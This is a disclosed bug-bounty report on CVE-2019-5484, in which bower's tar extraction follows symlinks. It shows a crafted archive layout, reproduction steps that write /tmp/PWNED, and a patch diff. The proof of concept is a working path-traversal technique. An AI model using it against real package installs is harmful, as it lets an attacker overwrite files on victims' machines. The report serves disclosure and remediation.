Skip to content
Path traversal Disclosed report Intermediate CVE-2019-5484

[bower] Arbitrary File Write through improper validation of symlinks while package extraction

Bower's package extraction did not correctly detect symbolic links in tar archives, so a malicious package could write files outside the install directory. An attacker could overwrite executable or configuration files, potentially leading to remote command execution.

skyn3t Follow

Originally disclosed on HackerOne

High 8.0 View original
  • Triaged in 18 days
  • Fixed in 24 days
  • Disclosed after 25 days

I would like to report file write in arbitrary locations via install command in bower It allows attackers to write arbitrary files when a malicious package is extracted.

Module

module name: bower version: 1.8.4 npm page: https://www.npmjs.com/package/bower

Module Description

Bower offers a generic, unopinionated solution to the problem of front-end package management, while exposing the package dependency model via an API that can be consumed by a more opinionated build stack. There are no system wide dependencies, no dependencies are shared between different apps, and the dependency tree is flat.

Module Stats

weekly downloads 175,693

Vulnerability

Vulnerability Description

Quoting from #362118

The vulnerability is a form of directory traversal that can be exploited by extracting files from an archive. The premise of the directory traversal vulnerability is that an attacker can gain access to parts of the file system outside of the target folder in which they should reside. The attacker can then overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim’s machine. The vulnerability can also cause damage by overwriting configuration files or other sensitive resources, and can be exploited on both client (user) machines and servers.

When we install a package that is in the tar archive format using bower, it tries to extract the package first. Bower installer attempts to prevent a package from writing any files outside the install directory; however it is possible to bypass the check with a symbolic link in a crafted npm package.

Example structure of malicious npm package:

$ tar -xvf hello.tar.gz
hello/
hello/README.md
hello/link
hello/link/PWNED
hello/package.json

$ tar -tvf hello.tar.gz
drwxr-xr-x 0/0               0 2019-01-01 21:27 hello/
-rw-r--r-- 0/0              12 2019-01-01 21:27 hello/README.md
lrw-r--r-- 0/0               0 2019-01-01 21:27 hello/link -> /tmp
-rw-r--r-- 0/0              15 2019-01-01 21:27 hello/link/PWNED
-rw-r--r-- 0/0             102 2019-01-01 21:27 hello/package.json

Steps To Reproduce:

Using attached file hello.tar.gz

$ bower install ./hello.tar.gz
bower hello.tar#*                 copy /home/path/hello.tar.gz
bower hello.tar#*              extract hello.tar.gz
bower hello.tar#*             resolved /home/path/hello.tar.gz
bower hello.tar#*              install hello.tar

This creates a file /tmp/PWNED which is a sufficient PoC

Patch

I'm fully aware that bower has been deprecated and using yarn is advised. Therefore, I would recommend releasing an advisory if a patch might not be possible.

The vulnerability lies in extract.js

JavaScript
function isSymlink(entry) {
    return entry.type === 'SymbolicLink';
}

According to the docs of tar-fs making following changes will work in order to properly ignore symlinks

Diff
- function isSymlink(entry) {
+ function isSymlink(_, entry) {
-     return entry.type === 'SymbolicLink';
+    return entry.type === 'symlink';
}

Supporting Material/References:

State all technical information about the stack where the vulnerability was found

  • Ubuntu 16.04
  • Node v11.3.0
  • Bower 1.8.4

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Hunter's comments and funny memes goes here

HAPPY_NEW_YEAR.png
HAPPY_NEW_YEAR.png From the original on HackerOne

Impact

Writing arbitrary files on the system

The original report as published on HackerOne, by skyn3t. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The symlink detection function checked for the wrong entry type string, so symlinks were not ignored during extraction.

Impact

An attacker could write arbitrary files on the system, potentially overwriting executables or configuration files and leading to remote command execution.

What the attacker needed

Victim installs a malicious package

The fix

The symlink check should be corrected to properly ignore symlinks during extraction, or an advisory should be released if a patch is not possible.

How it was found

  1. Create a tar archive containing a symbolic link to an outside directory and a file inside that link.
  2. Run bower install on the archive.
  3. Observe that a file is created outside the install directory.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you install a package, the tool unpacks an archive into a folder. This report shows that a crafted archive could contain a special link that points outside that folder, letting the package write files anywhere on the computer. That could let an attacker replace programs or settings.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by skyn3t

View all

9 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.